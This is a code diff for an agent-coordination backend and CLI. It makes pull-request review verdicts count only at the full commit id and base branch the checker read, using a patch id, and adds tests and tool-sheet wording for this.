index 000000000..61aa509dd
--- /dev/null
+++ b/backend/src/superTabs/pullRequestPatch.ts
@@ -0,0 +1,39 @@
+/**
+ * A pull request's patch id (Dee, #3394), as `git patch-id` is for a commit: the same while the pull request's own diff is
+ * the same, so a verdict read at one head still counts at a plain rebase or a main merge that leaves that diff unchanged
+ * (checkVerdicts.ts). Read from GitHub's per-file patches of the pull request, which compare its head with its merge base.
+ * Where a hunk starts is left out, as main's changes elsewhere in a file move it; every line of the hunk, context included,
+ * and the section its header names are kept, so a change near the pull request's lines makes a new id (the safe side: the
+ * verdict then needs a new read).
+ */
+import { createHash } from 'node:crypto'
+
+/** One file of a pull request, as GitHub lists it (GET /repos/{owner}/{repo}/pulls/{number}/files). */
+export interface PullRequestFile {
+ filename: string
+ status: string
+ previousFilename?: string
+ /** The file's diff; GitHub gives none for a binary file or one too large. */
+ patch?: string
+ /** The file's blob at the head. */
+ sha: string
+}
+
+/** A hunk header's positions: only at the start of a line split at a line feed, so a CR, U+2028 or U+2029 inside a line of
+ * the file never starts one (security review of #3218). Its section heading after them is kept. */
+const HUNK = /^@@ -\d+(?:,\d+)? \+\d+(?:,\d+)? @@/
+
+/** The patch id of a pull request's [files] (any order) against the branch it merges into, [base], or null for none. The
+ * branch is in the id (security review of #3218, round 3): the same diff against another branch is other code once merged,
+ * so retargeting, pushing the same diff and retargeting back never keeps a verdict. */
+export function patchId(files: readonly PullRequestFile[], base: string | null = null): string | null {
+ if (!files.length) return null
+ const hash = createHash('sha256')
+ hash.update(`base\0${base ?? ''}\0\0`)
+ for (const file of [...files].sort((a, b) => a.filename < b.filename ? -1 : a.filename > b.filename ? 1 : 0)) {
+ hash.update(`${file.status}\0${file.previousFilename ?? ''}\0${file.filename}\0`)
+ hash.update(file.patch === undefined ? `blob ${file.sha}` : file.patch.split('\n').map(line => line.replace(HUNK, '@@')).join('\n'))
+ hash.update('\0\0')
+ }
+ return hash.digest('hex')
+}
diff --git a/backend/src/superTabs/steps.test.ts b/backend/src/superTabs/steps.test.ts
index 37e2c7804..b01118925 100644
--- a/backend/src/superTabs/steps.test.ts
+++ b/backend/src/superTabs/steps.test.ts
@@ -92,13 +92,18 @@ describe('assigning a step', () => {
f.run({ type: 'work.assign', conversationId: id, agentId: rev }, f.as(f.dev))
return { f, id, rev }
}
+ /** The Engineer waits on its review: a post to it then holds the step (#3394: whatever the post says). */
+ const waitsOnReview = (f: ReturnType<typeof stepsFixture>) =>
+ f.run({ type: 'work.status', conversationId: f.task, assignmentId: f.group(f.task).assignment!.id, status: 'review', result: 'PR 7' } as Command, f.as(f.dev))
it('from the step\'s own agent is kept, in the step\'s chat or the task\'s', () => {
const a = reviewing()
+ waitsOnReview(a.f)
post(a.f, a.id, [a.f.dev], a.rev)
expect(a.f.group(a.id).assignment!.toldEngineerAt).toBe(a.f.now)
// A reply to the Engineer's message reaches it, so it counts too; a plain post reaches no one since #2963.
const b = reviewing()
+ waitsOnReview(b.f)
post(b.f, b.id, [], b.rev)
expect(b.f.group(b.id).assignment!.toldEngineerAt).toBeUndefined()
const asked = b.f.run({ type: 'message.send', conversationId: b.id, text: 'Ready for review.', replyTo: null, recipientIds: [b.rev] } as Command, b.f.as(b.f.dev)).messages[0]!
@@ -107,6 +112,7 @@ describe('assigning a step', () => {
expect(b.f.group(b.id).assignment!.toldEngineerAt).toBe(b.f.now)
// Named from the task's own chat, once the Reviewer is in it.
const c = reviewing()
+ waitsOnReview(c.f)
c.f.run({ type: 'conversation.agent', conversationId: c.f.task, agentId: c.rev, present: true, lead: false })
post(c.f, c.f.task, [c.f.dev], c.rev)
expect(c.f.group(c.id).assignment!.toldEngineerAt).toBe(c.f.now)
@@ -122,15 +128,20 @@ describe('assigning a step', () => {
})
// An existing rule (integration/superTabLiveness.test.ts): a Reviewer's note to a working Engineer keeps no hung Reviewer.
- it('holds nothing when it\'s a note to an Engineer already working, but a verdict does', () => {
+ // Dee, #3394: its words are not read for a verdict either; a failed check, recorded at the head it read, is the verdict.
+ it('holds nothing when it\'s a note to an Engineer already working, whatever it says; a failed check does', () => {
const f = reviewing()
const note = (text: string) => f.f.run({ type: 'message.send', conversationId: f.id, text, replyTo: null, recipientIds: [f.f.dev] } as Command, f.f.as(f.rev))
note('Still reading the parser changes.')
- expect(f.f.group(f.id).assignment!.toldEngineerAt).toBeUndefined()
note('Ready to merge: Yes, once CI is green.')
- expect(f.f.group(f.id).assignment!.toldEngineerAt).toBeUndefined()
note('**Ready to merge: With fixes.** One Important finding.')
- expect(f.f.group(f.id).assignment!.toldEngineerAt).toBe(f.f.now)
+ note('Ready to merge: No.')
+ expect(f.f.group(f.id).assignment).not.toHaveProperty('toldEngineerAt')
+ expect(f.f.group(f.id).assignment).not.toHaveProperty('changesRequestedAt')
+ f.f.run({ type: 'conversation.agent', conversationId: f.f.task, agentId: f.rev, present: true, lead: false })
+ f.f.run({ type: 'work.check', conversationId: f.f.task, assignmentId: f.f.group(f.f.task).assignment!.id, checkId: f.f.group(f.f.task).checks[0]!.id,
+ passed: false, evidence: 'One Important finding' } as Command, f.f.as(f.rev))
+ expect(f.f.group(f.id).assignment!.changesRequestedAt).toBe(f.f.now)
})
it('counts whatever it says when the Engineer was waiting on this review, as a Tester\'s verdict has no set form', () => {
@@ -143,12 +154,14 @@ describe('assigning a step', () => {
// Review of #2659: Engineers often ask by post, "fixed at abc, please re-check", so a hung Reviewer must not stay held.
it('ends with the Engineer\'s post to it, in the step\'s chat or the task\'s, and its 30 minutes restart', () => {
const a = reviewing()
+ waitsOnReview(a.f)
post(a.f, a.id, [a.f.dev], a.rev)
a.f.tick(60_000)
post(a.f, a.id, [a.rev], a.f.dev)
expect(a.f.group(a.id).assignment!.toldEngineerAt).toBeUndefined()
expect(a.f.group(a.id).assignment).toMatchObject({ status: 'working', progressAt: a.f.now })
const b = reviewing()
+ waitsOnReview(b.f)
post(b.f, b.id, [b.f.dev], b.rev)
b.f.run({ type: 'conversation.agent', conversationId: b.f.task, agentId: b.rev, present: true, lead: false })
b.f.tick(60_000)
@@ -766,24 +779,19 @@ describe('an Engineer waiting on its own steps', () => {
// Review of #2744 (Wren2): a Reviewer stays working through the fix round its verdict asked for, waiting on the Engineer's
// new revision; counting that step held the two on each other, so a hung Engineer was never found.
- for (const via of ['a post', 'a failed check'] as const) {
- it(`gets its 30 minutes from a verdict asking for changes by ${via}, while its Reviewer waits on it`, () => {
- const { f, id, rev, reviewFor, task } = reviewing()
- reviewFor(8)
- if (via === 'a post') {
- f.run({ type: 'message.send', conversationId: id, text: 'Ready to merge: With fixes. One Important.', replyTo: null, recipientIds: [f.dev] } as Command, f.as(rev))
- } else {
- f.run({ type: 'work.check', conversationId: f.task, assignmentId: task().id, checkId: f.group(f.task).checks[0]!.id, passed: false,
- evidence: 'One Important at x.ts:1' } as Command, f.as(rev))
- }
- f.tick(QUIET_RUNNING_MS - MIN)
- sweepLiveness(f.state, f.now)
- expect(task()).toMatchObject({ status: 'working' })
- f.tick(2 * MIN)
- sweepLiveness(f.state, f.now)
- expect(task()).toMatchObject({ status: 'lost' })
- })
- }
+ // A verdict asking for changes is a failed check (#3394: a post's words are not read).
+ it('gets its 30 minutes from a verdict asking for changes, while its Reviewer waits on it', () => {
+ const { f, rev, reviewFor, task } = reviewing()
+ reviewFor(8)
+ f.run({ type: 'work.check', conversationId: f.task, assignmentId: task().id, checkId: f.group(f.task).checks[0]!.id, passed: false,
+ evidence: 'One Important at x.ts:1' } as Command, f.as(rev))
+ f.tick(QUIET_RUNNING_MS - MIN)
+ sweepLiveness(f.state, f.now)
+ expect(task()).toMatchObject({ status: 'working' })
+ f.tick(2 * MIN)
+ sweepLiveness(f.state, f.now)
+ expect(task()).toMatchObject({ status: 'lost' })
+ })
// Diego, 2026-11-04 (#2578): a step lost inside the PM's poll left its task recorded as waiting on it, so the same poll woke
// the PM with a false stall and the Engineer lost its task 30 seconds later instead of after its 30 minutes.
@@ -815,3 +823,170 @@ describe('an Engineer waiting on its own steps', () => {
expect(f.group(id).liveness).toMatchObject({ state: 'waiting', why: 'review' })
})
})
+
+// Dee, #3394: a verdict records the pull request head it read, and counts only at that head or one with the same patch.
+describe('a verdict at a pull request head', () => {
+ const PR = 'https://github.com/acme/app/pull/7'
+ const A = 'aaaaaaa1111111111111111111111111111111aa', B = 'bbbbbbb2222222222222222222222222222222bb'
+ const watched = () => {
+ const f = stepsFixture()
+ const reviewer = f.add('reviewer', f.task)
+ // What the task's PR watch read last (store.ts pullRequestSeen).
+ Object.assign(f.group(f.task), { pullRequestUrls: [PR], pullRequestHeads: { [PR]: { head: A, patch: 'p1', at: 1 } } })
+ const check = (group: string, passed: boolean, head?: string) => f.run({ type: 'work.check', conversationId: group,
+ assignmentId: f.group(group).assignment!.id, checkId: f.group(group).checks[0]!.id, passed, evidence: 'Read it', ...head ? { head } : {} } as Command,
+ f.as(reviewer))
+ return { f, reviewer, check }
+ }
+
+ it('records the head the checker read, with its patch, and counts at it', () => {
+ const { f, check } = watched()
+ check(f.task, true, A.toUpperCase())
+ expect(f.group(f.task).checks[0]!.verdicts!.at(-1)).toMatchObject({ pullRequest: PR, head: A, patch: 'p1' })
+ expect(f.group(f.task).checks[0]!.passedBy).not.toBeNull()
+ })
+
+ it('on a step, records its task\'s pull request', () => {
+ const { f, reviewer, check } = watched()
+ const step = f.step('Review', f.as(f.dev), f.task, [{ description: 'Diff reads right', independent: true }])
+ f.run({ type: 'conversation.agent', conversationId: step, agentId: reviewer, present: true, lead: false })
+ f.run({ type: 'work.assign', conversationId: step, agentId: reviewer }, f.as(f.dev))
+ check(step, true, A)
+ expect(f.group(step).checks[0]!.verdicts!.at(-1)).toMatchObject({ pullRequest: PR, head: A, patch: 'p1' })
+ })
+
+ it('records the head the checker names; an older one does not count', () => {
+ const { f, check } = watched()
+ check(f.task, true, B)
+ const read = f.group(f.task).checks[0]!
+ expect(read.verdicts!.at(-1)).toMatchObject({ pullRequest: PR, head: B, stale: A })
+ expect(read.verdicts!.at(-1)).not.toHaveProperty('patch')
+ expect(read).toMatchObject({ passedBy: null, evidence: null })
+ })
+
+ // Security review of #3218 (Warden2), Important 3: the head the watch read last may be a push nobody reviewed. An agent's
+ // verdict naming no head is recorded and said not to count; nothing is refused.
+ it('an agent\'s verdict naming no head is not given the watched head, does not count, and says what to send', () => {
+ const { f, check } = watched()
+ const effects = check(f.task, true)
+ const read = f.group(f.task).checks[0]!
+ expect(read.verdicts!.at(-1)).toMatchObject({ pullRequest: PR, stale: A })
+ expect(read.verdicts!.at(-1)).not.toHaveProperty('head')
+ expect(read.passedBy).toBeNull()
+ expect(effects.result).toMatchObject({ counts: false })
+ expect(String(effects.result.next)).toContain('head')
+ })
+
+ it('a person\'s verdict naming no head is given the head the watch read last, as the screen showed it', () => {
+ const { f } = watched()
+ f.run({ type: 'work.check', conversationId: f.task, assignmentId: f.group(f.task).assignment!.id, checkId: f.group(f.task).checks[0]!.id,
+ passed: true, evidence: 'Looked at it' } as Command)
+ expect(f.group(f.task).checks[0]!.verdicts!.at(-1)).toMatchObject({ pullRequest: PR, head: A, patch: 'p1' })
+ expect(f.group(f.task).checks[0]!.passedBy).toBe('person:owner')
+ })
+
+ // Security review of #3218 (Warden2), Important 2: a short head could match a commit ground to share its characters.
+ it('takes a head only as a whole commit id', () => {
+ const { f, check } = watched()
+ for (const head of ['abc', A.slice(0, 7), A.slice(0, 39), 'not-a-sha!', 'g'.repeat(40), 'a'.repeat(41)]) expect(() => check(f.task, true, head)).toThrow()
+ })
+})
+
+// Review of #3218 (Ledger), Important 4: a failure for a head the pull request has moved past asks for no changes.
+describe('a failure at an old head', () => {
+ it('does not hold its Reviewer\'s step waiting for a revision', () => {
+ const f = stepsFixture()
+ const PR = 'https://github.com/acme/app/pull/7'
+ const A = 'aaaaaaa1111111111111111111111111111111aa', B = 'bbbbbbb2222222222222222222222222222222bb'
+ const id = f.step('Review')
+ const rev = f.add('rev', id)
+ f.run({ type: 'work.assign', conversationId: id, agentId: rev }, f.as(f.dev))
+ f.run({ type: 'conversation.agent', conversationId: f.task, agentId: rev, present: true, lead: false })
+ Object.assign(f.group(f.task), { pullRequestUrls: [PR], pullRequestHeads: { [PR]: { head: B, patch: 'p2', at: 1 } } })
+ const fail = (head: string) => f.run({ type: 'work.check', conversationId: f.task, assignmentId: f.group(f.task).assignment!.id,
+ checkId: f.group(f.task).checks[0]!.id, passed: false, evidence: 'Drops the session', head } as Command, f.as(rev))
+ fail(A)
+ expect(f.group(id).assignment).not.toHaveProperty('changesRequestedAt')
+ fail(B)
+ expect(f.group(id).assignment!.changesRequestedAt).toBe(f.now)
+ })
+})
+
+// Review of #3218 (Ledger, round 3), Important 1: a task from before steps were listed keeps listing none until its PR watch
+// looks its dormant steps up, so a step opened meanwhile never hides the ones before it.
+describe('a step on a task from before step lists', () => {
+ it('leaves its task unlisted; a listed task lists it', () => {
+ const f = stepsFixture()
+ expect(f.group(f.task).stepIds).toEqual([])
+ const first = f.step('Review')
+ expect(f.group(f.task).stepIds).toEqual([first])
+ delete f.group(f.task).stepIds
+ f.step('Test')
+ expect(f.group(f.task)).not.toHaveProperty('stepIds')
+ })
+})
+
+// Review of #3218 (Ledger, round 4), Important 1: with #3399, a failure by someone other than the Engineer brings a handed task
+// back to it. A failure for a head the pull request moved past is no verdict on what is in review: it reopens nothing.
+describe('a failure at an old head on a handed task', () => {
+ it('leaves it handed and tells nobody; a failure at its head brings it back', () => {
+ const f = stepsFixture()
+ const PR = 'https://github.com/acme/app/pull/7'
+ const A = 'aaaaaaa1111111111111111111111111111111aa', B = 'bbbbbbb2222222222222222222222222222222bb'
+ const rev = f.add('rev', f.task)
+ Object.assign(f.group(f.task), { pullRequestUrls: [PR], pullRequestHeads: { [PR]: { head: B, patch: 'p2', at: 1 } } })
+ f.run({ type: 'work.status', conversationId: f.task, assignmentId: f.group(f.task).assignment!.id, status: 'review', result: `${B} ${PR}` } as Command, f.as(f.dev))
+ const fail = (head: string) => f.run({ type: 'work.check', conversationId: f.task, assignmentId: f.group(f.task).assignment!.id,
+ checkId: f.group(f.task).checks[0]!.id, passed: false, evidence: 'Drops the session', head } as Command, f.as(rev))
+ const stale = fail(A)
+ expect(f.group(f.task).assignment).toMatchObject({ status: 'review' })
+ expect(f.group(f.task).assignment).not.toHaveProperty('reopened')
+ expect(stale.messages.filter(m => m.recipients.includes(f.dev))).toEqual([])
+ fail(B)
+ expect(f.group(f.task).assignment).toMatchObject({ status: 'working', reopened: expect.objectContaining({ why: expect.any(String) }) })
+ })
+})
+
+// Security review of #3218 (Warden2, round 5) and review round 7 (Ledger): a checker names the base branch it read against, as it
+// names the head: any branch name GitHub takes, never one with a space or a control character.
+describe('a verdict naming its base', () => {
+ const PR = 'https://github.com/acme/app/pull/7', A = 'aaaaaaa1111111111111111111111111111111aa'
+ const watched = (base: string) => {
+ const f = stepsFixture()
+ const rev = f.add('rev', f.task)
+ Object.assign(f.group(f.task), { pullRequestUrls: [PR], pullRequestHeads: { [PR]: { head: A, patch: 'p', at: 1, base } } })
+ const check = (fields: Record<string, string>) => f.run({ type: 'work.check', conversationId: f.task, assignmentId: f.group(f.task).assignment!.id,
+ checkId: f.group(f.task).checks[0]!.id, passed: true, evidence: 'Read it', ...fields } as Command, f.as(rev))
+ return { f, check }
+ }
+
+ it('is recorded with it, for any branch name', () => {
+ for (const base of ['release/1.2', 'release+hotfix', 'feature/修正', 'user@{x}']) {
+ const { f, check } = watched(base)
+ check({ head: A, base })
+ expect(f.group(f.task).checks[0]!.verdicts!.at(-1)).toMatchObject({ head: A, base, patch: 'p' })
+ expect(f.group(f.task).checks[0]!.passedBy).not.toBeNull()
+ }
+ })
+
+ it('is refused only as no branch name at all', () => {
+ const { check } = watched('main')
+ for (const base of ['', 'a b', 'x\ny', 'tab\there', 'z'.repeat(256)]) expect(() => check({ head: A, base })).toThrow()
+ })
+
+ it('naming none, does not count, and the result asks for the base', () => {
+ const { f, check } = watched('main')
+ const effects = check({ head: A })
+ expect(f.group(f.task).checks[0]!.passedBy).toBeNull()
+ expect(effects.result).toMatchObject({ counts: false })
+ expect(String(effects.result.next)).toContain('base')
+ })
+
+ it('from a person naming neither, gets the head and base the watch read last', () => {
+ const { f } = watched('main')
+ f.run({ type: 'work.check', conversationId: f.task, assignmentId: f.group(f.task).assignment!.id, checkId: f.group(f.task).checks[0]!.id,
+ passed: true, evidence: 'Looked at it' } as Command)
+ expect(f.group(f.task).checks[0]!.verdicts!.at(-1)).toMatchObject({ head: A, base: 'main', patch: 'p' })
+ expect(f.group(f.task).checks[0]!.passedBy).toBe('person:owner')
+ })
+})
diff --git a/backend/src/superTabs/store.ts b/backend/src/superTabs/store.ts
index ef7ed404c..e34ac0848 100644
--- a/backend/src/superTabs/store.ts
+++ b/backend/src/superTabs/store.ts
@@ -86,6 +86,7 @@ import { commitParts, indexesOf, machineContentChanged, numberMessages, type Tou
import { loadDeliveryParts, ms } from './parts/light.js'
import { endSteps, ownerOf, stepEndedRows, stepsOf } from './steps.js'
import { pullRequestEvents, type PullRequestWatch } from './pullRequestEvents.js'
+import { deriveCheck, keepHead, refreshChecks, watchedLinks } from './checkVerdicts.js'
import { reopenOnEvents } from './handed.js'
import type { TrainTask } from './mergeTrain/plan.js'
import type { TrainTaskPull } from './mergeTrain/train.js'
@@ -4958,18 +4959,45 @@ export class SuperTabStore {
* second pass posts none twice. A task with no Engineer in the Swarm records them and posts nothing. A step, an archived or
* a finished task, or a pull request it no longer links, is left alone. The messages posted.
*/
- async pullRequestSeen(tabId: string, groupId: string, watch: PullRequestWatch, botLogin: string | null): Promise<number> {
+ /** [patch]: the patch id the pass read for [watch]'s head when it was new to the task, or read again after GitHub could not
+ * give it (undefined: not read, null: unreadable). [stepIds]: the task's steps (Conversation.stepIds), loaded even when
+ * dormant, as a new head re-derives their checks. A done task records its heads and posts nothing (#3394). */
+ async pullRequestSeen(tabId: string, groupId: string, watch: PullRequestWatch, botLogin: string | null, patch?: string | null,
+ stepIds: readonly string[] = [], lookedUp = false): Promise<number> {
return transaction(this.db, async tx => {
const row = await tx.superTab.findUnique({ where: { id: tabId }, select: SWARM_ROW })
if (!row || row.deletedAt) return 0
- const loaded = await loadRow(tx, requireParts(row), { groupIds: [groupId] }), state = cloneData(loaded.state)
+ const loaded = await loadRow(tx, requireParts(row), { groupIds: [groupId, ...patch === undefined ? [] : stepIds] }), state = cloneData(loaded.state)
const group = state.conversations.find(c => c.id === groupId)
// A task its agent left (no assignment) records what happens, so its next Engineer hears only what is new.
- if (!group || group.archived || group.reviewOf || !group.pullRequestUrls?.includes(watch.url)
- || ['done', 'cancelled'].includes(group.assignment?.status ?? '')) return 0
- const now = this.now(), seen = group.pullRequestEvents?.[watch.url] ?? []
+ const done = group?.assignment?.status === 'done'
+ if (!group || group.archived || group.reviewOf || !group.pullRequestUrls?.includes(watch.url) || group.assignment?.status === 'cancelled') return 0
+ const now = this.now()
+ // A new head is recorded with its patch id, or a patch read again for it, and the verdicts of the task and its steps
+ // count against it (#3394).
+ // A new base branch counts as a new head (security review of #3218, round 3): the patch id names the branch.
+ const known = group.pullRequestHeads?.[watch.url], newHead = known?.head !== watch.head || known.base !== watch.base
+ const repatched = !newHead && patch !== undefined && known!.patch === null
+ if (newHead || repatched) {
+ // A task from before steps were listed lists the ones its watch looked up, with its awake ones (#3394).
+ if (lookedUp && !group.stepIds) {
+ group.stepIds = [...new Set([...state.conversations.filter(c => c.reviewOf === group.id).map(c => c.id), ...stepIds])]
+ }
+ // A head the pass gave no patch for (its read already ended) is read again at the next pass, never kept unread.
+ group.pullRequestHeads = keepHead(group.pullRequestHeads, watch.url, { head: watch.head, base: watch.base, patch: patch ?? null,
+ at: patch === undefined ? 0 : now }, group.pullRequestUrls)
+ for (const checked of [group, ...state.conversations.filter(c => c.reviewOf === group.id)]) {
+ refreshChecks(checked.checks, watch.url, newHead ? known : undefined, group.pullRequestHeads)
+ }
+ }
+ if (done) {
+ if (!newHead && !repatched) return 0
+ await this.save(tx, loaded, state, clock.next())
+ return 0
+ }
+ const seen = group.pullRequestEvents?.[watch.url] ?? []
const { events: seenEvents, keys } = pullRequestEvents(watch, seen, botLogin, now)
- if (keys.length === seen.length && keys.every((key, i) => key === seen[i])) return 0
+ if (!newHead && !repatched && keys.length === seen.length && keys.every((key, i) => key === seen[i])) return 0
group.pullRequestEvents = { ...group.pullRequestEvents, [watch.url]: keys }
// CI failing or a conflict brings a handed task back to its Engineer, in the message that tells it (handed.ts, #3399).
const events = reopenOnEvents(group, seenEvents, now)
@@ -4996,6 +5024,32 @@ export class SuperTabStore {
})
}
+ /** The task's links moved past a pull request whose head it keeps (review of #3218, round 3): the heads it no longer reads
+ * (watchedLinks) are dropped, and the checks of the task and its steps, [stepIds] loaded even when dormant, count against
+ * what is left: a verdict on a dropped one is unverified (checkVerdicts.ts verdictCounts), even with no head left. Whether
+ * it wrote. */
+ async pullRequestHeadsWatched(tabId: string, groupId: string, stepIds: readonly string[] = [], lookedUp = false): Promise<boolean> {
+ return transaction(this.db, async tx => {
+ const row = await tx.superTab.findUnique({ where: { id: tabId }, select: SWARM_ROW })
+ if (!row || row.deletedAt) return false
+ const loaded = await loadRow(tx, requireParts(row), { groupIds: [groupId, ...stepIds] }), state = cloneData(loaded.state)
+ const group = state.conversations.find(c => c.id === groupId)
+ if (!group?.pullRequestHeads || group.archived || group.reviewOf) return false
+ const window = new Set(watchedLinks(group.pullRequestUrls ?? []))
+ const kept = Object.fromEntries(Object.entries(group.pullRequestHeads).filter(([url]) => window.has(url)))
+ if (Object.keys(kept).length === Object.keys(group.pullRequestHeads).length) return false
+ group.pullRequestHeads = kept
+ if (lookedUp && !group.stepIds) {
+ group.stepIds = [...new Set([...state.conversations.filter(c => c.reviewOf === group.id).map(c => c.id), ...stepIds])]
+ }
+ for (const checked of [group, ...state.conversations.filter(c => c.reviewOf === group.id)]) {
+ for (const check of checked.checks) if (check.verdicts?.length) deriveCheck(check, kept)
+ }
+ await this.save(tx, loaded, state, clock.next())
+ return true
+ })
+ }
+
/** The release list of [projectId] settled with what the worker read from GitHub (releases.ts settleReleases, task #3405), in
* one write: the tasks a verified release carries are marked released, and a due release step opens for the Integrator.
* It loads the project's pending tasks and open steps only, and writes nothing when nothing changed. Null when the Swarm or
diff --git a/cli/src/lib/swarmToolSheets.spec.ts b/cli/src/lib/swarmToolSheets.spec.ts
index b244bb69a..dc0142a0f 100644
--- a/cli/src/lib/swarmToolSheets.spec.ts
+++ b/cli/src/lib/swarmToolSheets.spec.ts
@@ -36,6 +36,16 @@ describe('the role tools sheets', () => {
}
})
+ // #3394 (review of #3218 after the merge with the role sheets): a verdict counts only at the head and base its checker
+ // names, so every sheet that records checks asks for both.
+ it('asks, in each sheet that records checks, for the head and base read', () => {
+ for (const role of ['engineer', 'reviewer', 'tester'] as const) {
+ const line = sheet(role).split('\n').find(l => l.includes('work.check'))!
+ expect(line, role).toContain('head')
+ expect(line, role).toContain('base')
+ }
+ })
+
it('names, in some sheet, every command the full manual documents', () => {
const all = TOOLS_ROLES.map(sheet).join('\n')
const commands = [...SWARM_TOOLS_SKILL.matchAll(/`\{"type":"([a-z.A-Z]+)"/g)].map(m => m[1]!)
diff --git a/cli/src/lib/swarmToolSheets.ts b/cli/src/lib/swarmToolSheets.ts
index b640cb191..af54adfb5 100644
--- a/cli/src/lib/swarmToolSheets.ts
+++ b/cli/src/lib/swarmToolSheets.ts
@@ -94,7 +94,7 @@ const ENTRIES: readonly SheetEntry[] = [
T('- `{"type":"work.assign"', '`work.assign` {conversationId, agentId, routeDecisionId, overrideReason} assigns a task.', 'pm', 'pe'),
T('- `{"type":"work.status"', '`work.status` {conversationId, assignmentId "current", status, result}: working (a note), review (revision and PR link, once per head), done (revision, evidence, links), blocked (why), needs_human (one question), stopped.'),
T('- `needs_human` may carry', '`needs_human` may carry `ask` {personId, options 2-5, recommended, unblocks}; keep working on your recommendation until `decisions --answered` shows the answer.', 'engineer', 'ertg'),
- T('- `{"type":"work.check"', '`work.check` {conversationId, assignmentId, checkId, passed, evidence} records one acceptance check.', 'engineer', 'ert'),
+ T('- `{"type":"work.check"', '`work.check` {conversationId, assignmentId, checkId, passed, evidence, head, base} records one acceptance check at the PR head (whole commit id) and base branch you read.', 'engineer', 'ert'),
T('- `{"type":"work.cancel"', '`work.cancel` {conversationId, assignmentId, reason} cancels a task.', 'pm', 'p'),
T('- `{"type":"agent.release"', '`agent.release` {agentId, keep|stop} records keep, or asks to stop, a finished agent.', 'pm', 'pe'),
T('- `{"type":"proposal.close"', '`proposal.close` {projectId, messageId, reason} closes an answered Buddy proposal.', 'pm', 'p'),
@@ -209,20 +209,20 @@ const SOURCE: Readonly<Record<string, string>> = {
"- Post only substance": "62538b2750d4",
"`command OPERATION_ID JSON`": "592fa2d5bd35",
"Task and group commands:": "6d705b6b475d",
- "- `{\"type\":\"conversation.create\"": "f9221030aab5",
+ "- `{\"type\":\"conversation.create\"": "f70865f781f1",
"- `{\"type\":\"work.define\"": "bbc35b2f4e54",
"- `{\"type\":\"conversation.agent\"": "f73dff558b52",
"- `{\"type\":\"conversation.requester\"": "b734e536e5c3",
"- `{\"type\":\"work.queue\"": "234d6766a3e6",
"- `{\"type\":\"work.priority\"": "e8e73bf5772c",
"- `{\"type\":\"work.assign\"": "348784f243ea",
- "- `{\"type\":\"work.status\"": "d3d3249988d6",
+ "- `{\"type\":\"work.status\"": "9caeb6a2c480",
"- `needs_human` may carry": "e030311bd45d",
- "- `{\"type\":\"work.check\"": "578f5f56a19d",
+ "- `{\"type\":\"work.check\"": "dc82fbb4eb9b",
"- `{\"type\":\"work.cancel\"": "5c9eb034a478",
"- `{\"type\":\"agent.release\"": "231cacbc9b60",
- "- `{\"type\":\"proposal.close\"": "8b2f2d4c66e3",
- "- `{\"type\":\"conversation.merged\"": "8183efc5b716",
+ "- `{\"type\":\"proposal.close\"": "f0fcba7d14b9",
+ "- `{\"type\":\"conversation.merged\"": "4ff068d0f513",
"- `{\"type\":\"decision.ask\"": "263c78061d01",
"- `{\"type\":\"person.tell\"": "231dccc17c03",
"- `{\"type\":\"project.report\"": "5038f6f8a74f",
diff --git a/cli/src/lib/swarmTools.ts b/cli/src/lib/swarmTools.ts
index b3c2954ba..0551f9f28 100644
--- a/cli/src/lib/swarmTools.ts
+++ b/cli/src/lib/swarmTools.ts
@@ -58,20 +58,20 @@ JSON
Put OPERATION_ID before the JSON, on the same command line. A refusal says what to fix; change something before you resend.
Task and group commands:
-- \`{"type":"conversation.create","title":"Outcome","task":{"goal":"...","changes":"...","constraints":"...","owns":["paths or code areas"]},"checks":[{"description":"observable acceptance evidence","independent":false}]}\` opens a group. An agent's task (the PM's too) needs a goal, at least one check, a priority and \`requesterId\`; without them the Swarm refuses with TASK_CONTRACT_MISSING, naming what is missing with an example to resend. A person's task keeps its defaults. Work no person asked for gives \`"noRequesterReason":"found by the PM: second flaky sighting"\` (a few words, up to 200 characters) in place of \`requesterId\`; it is recorded and shown in the task's first row. A step (\`reviewOf\`) is asked for none of it. Also: \`"priority":"P0|P1|P2|P3"\` (P0 hotfix: something shipped is broken, loses data, or stops people's or agents' work; P1 needed by users soon; P2 planned goal; P3 tools, docs or process; an agent's task must give one, a person's without one is P2), \`"reviewOf":"GROUP"\` (a group that reviews another), \`"requesterId":"PERSON"\` (who asked; records only that they asked), \`"requires":{"machines":["MACHINE"],"devices":["/dev/..."]}\` inside \`task\` (the route notes it; a start asks its machine to check the devices). Task sections take up to 8,000 characters; \`owns\` up to 40 paths. A task is taken as written: one with every part (goal, changes, constraints, owns) goes as the task; one without them all goes as a brief of the parts you gave.
+- \`{"type":"conversation.create","title":"Outcome","task":{"goal":"...","changes":"...","constraints":"...","owns":["paths or code areas"]},"checks":[{"description":"observable acceptance evidence","independent":false}]}\` opens a group. An agent's task (the PM's too) needs a goal, at least one check, a priority and \`requesterId\`; without them it is refused with TASK_CONTRACT_MISSING, which names what is missing with an example. A person's task keeps its defaults. Work no person asked for gives \`"noRequesterReason":"found by the PM: second flaky sighting"\` (a few words, up to 200 characters) in place of \`requesterId\`, shown in the task's first row. A step (\`reviewOf\`) is asked for none of it. Also: \`"priority":"P0|P1|P2|P3"\` (P0 hotfix: something shipped is broken, loses data, or stops people's or agents' work; P1 needed by users soon; P2 planned goal; P3 tools, docs or process; an agent's task must give one, a person's without one is P2), \`"reviewOf":"GROUP"\` (a group that reviews another), \`"requesterId":"PERSON"\` (who asked; records only that they asked), \`"requires":{"machines":["MACHINE"],"devices":["/dev/..."]}\` inside \`task\` (the route notes it; a start asks its machine to check the devices). Task sections take up to 8,000 characters; \`owns\` up to 40 paths. A task with every part (goal, changes, constraints, owns) goes as the task; one without them all goes as a brief of the parts given.
- \`{"type":"work.define","conversationId":"GROUP","task":{...},"checks":[...]}\` sets or replaces the task of a group already open (same shape).
- \`{"type":"conversation.agent","conversationId":"GROUP","agentId":"AGENT","present":true,"lead":false}\` adds an agent to a group (\`present\` false removes it).
- \`{"type":"conversation.requester","conversationId":"GROUP","personId":"PERSON"}\` names who asked for a group already open (null clears).
- \`{"type":"work.queue","conversationId":"GROUP","after":"GROUP"}\` places an open task right after another in its project's Next up (\`"after":null\` for the top). \`"notBefore":"2026-12-04"\` marks a day it should not start before (null clears it); send either or both. Only a person or the project's coordinator may send it.
- \`{"type":"work.priority","conversationId":"GROUP","priority":"P0"}\` changes a task's priority. Only a person or the project's coordinator may send it, and only they set P0.
- \`{"type":"work.assign","conversationId":"GROUP","agentId":"AGENT","routeDecisionId":"DECISION"}\` assigns a group's task. \`routeDecisionId\` names the route's decision when you assign one of its candidates, so it records what ran.
